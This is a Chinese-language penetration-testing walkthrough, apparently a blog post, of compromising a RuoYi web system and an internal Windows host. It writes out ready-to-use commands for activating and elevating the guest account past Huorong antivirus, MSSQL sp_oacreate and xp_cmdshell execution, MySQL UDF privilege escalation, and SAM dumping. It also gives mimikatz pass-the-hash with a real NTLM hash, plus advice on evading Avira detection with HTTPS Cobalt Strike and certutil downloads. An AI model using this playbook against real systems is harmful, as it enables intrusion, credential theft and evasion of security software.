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渗透实战-guest账户-mimikatz-向日葵-sql提权-离线解密
2022-07-04 03:32:00 【amingMM】
本文涉及技术点:
1.绕过火绒激活guest账户
2.国内外杀软区别(国外拦截敏感操作较少,例如下载、加账号等)
3.mimikatz哈希登录
4.流量检测下的绕过(cs的http监听可替换为https)
5.向日葵利用
6.mysql和sqlserer的提权
7.administrator权限下的reg转储和离线解密
0x00 外网web打点入口点
若依管理系统。
部分版本的若依系统存在shiro rce。
弱口令。
通过RCE命令执行
上线 内存马注入到可访问的静态资源中上线webshell
0x01 内网渗透 信息收集
arp表
netstat
进程查看
敏感web文件
主机ip:192.168.1.201
权限:administrator
杀软:小红伞、火绒
开放端口:3389、3306、1433
存在向日葵
0x02 后渗透
上线cs:
理由
小红伞动态流量查杀比较强,火绒的静态查杀能力比较强。
使用https的马成功能上线
小红伞的流量检测,https的监听加密可能无法被小红伞准确识别,可以上线cs
● 恶意的操作还是会被杀(包括frp代理的流量)
开启的端口为数据库端口,这里就去翻了web主机文件,
获取到sqlserver和mysql的账号密码:

● 使用ladon、fscan等探测均会被杀
● 所以这里既然开了3389且杀软为小红伞、火绒。
采用了激活guest账户的方法(小红伞不拦截、火绒可绕过)
激活后加入管理员组直接上线了远程桌面
net user guest /active:yes
net user guest Admin!@#456
net localgroup administors guest /add

上线远程桌面后,把马加入白名单这样就上线了cs
可以进行一些敏感操作
1.administrator权限可以reg转储sam密码离线解密(可以使用mimikatz哈希登录)
2.利用向日葵远程登录
3.使用加入白名单的马进程的cs进行简单的端口扫描
获取到了内网的几台数据库并且都利用相同的口令或者弱口令连接上数据库

MSSQL利用
提权思路
以spoacreate进行分析:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'
执行上面的命令,若出现报错提示未开启sp可以使用下面的命令进行开启:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
spoacreate无回显,这里可以采用多种的方法进行尝试,
利用系统变量的函数能带出的信息有很少

● 把回显命令的内容写在txt中,把创建的txt放在web根路径下,然后通过web访问txt读取命令回显的内容
----- 前提就是需要有web并且知道web路径
● 如果有弱口令,可以尝试sharpsql连接查看命令回显txt或者看看是否可以直接带回显:
sharpsql的spoacreate成功回显,利用sharpsql还可以操作一些文件,或者上线cs马等一些操作。
利用xpcmdshell也可以直接执行命令。
MYSQL利用
进行udf提权
查看当前的文件导入导出权限
由于dbever的粘贴内容长度有限制,所以这里使用navicat连接进行提权
show global variables like 'secure%';
当前的值为空,代表当前权限下可以导入导出文件到任意文件目录

查看本架构和plugin信息(发现存在默认的plugin路径):
show variables like '%compile%'; #查看主机版本及架构
show variables like 'plugin%'; #查看 plugin 目录

确定这个udf提权可用,使用写入文件流的方式写入udf.dll的编码数据
● 注意文件的路径需要\进行转义,且udf.dll文件名字不能改(这个也是直接上线到了system权限)
create table udftmp1 (c blob)
insert into udftmp1 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select c from udftmp1 into dumpfile 'D:\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll';
CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'; #创建自定义函数shell
select shell('cmd','whoami'); #执行shell系统命令

还是存在小红伞和安全狗,这里尝试直接certutil.exe 下载马执行成功上线cs,
或者直接添加账户(账户权限比较高)上线cs
向日葵的利用
有一个向日葵,而且还是administartor权限
利用reg导出向日葵的注册表信息,利用github上的脚本解密向日葵的密码


reg转储sam
转储sam,使用mimikatz可以直接解密密码
利用mimikatz的哈希登录可以直接上远程桌面(3389开启)
使用下面的命令转储sam
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
下载这两个文件后离线解密
lsadump::sam /sam:sam.hiv /system:system.hiv
privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.1.201 /ntlm:957e68f1eb12cf817b043d2e26f5c474 "/run:mstsc.exe /restrictedadmin"

小红伞可能是以agent的形式安装在内网很多主机上,存在一台主机检测全部agent主机的流量。
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What kind of experience is it when the Institute earns 20000 yuan a month!
National standard gb28181 protocol platform easygbs fails to start after replacing MySQL database. How to deal with it?
PMP 考試常見工具與技術點總結
96% of the collected traffic is prevented by bubble mart of cloud hosting
Recent learning fragmentation (14)
MySQL backup notes
Explain AI accelerator in detail: why is this the golden age of AI accelerator?
Baijia forum the founding of the Eastern Han Dynasty
Defensive programming skills
false sharing
投资深度思考
長文綜述:大腦中的熵、自由能、對稱性和動力學
Unity writes a character controller. The mouse controls the screen to shake and the mouse controls the shooting
I stepped on a foundation pit today
Dare to climb here, you're not far from prison, reptile reverse actual combat case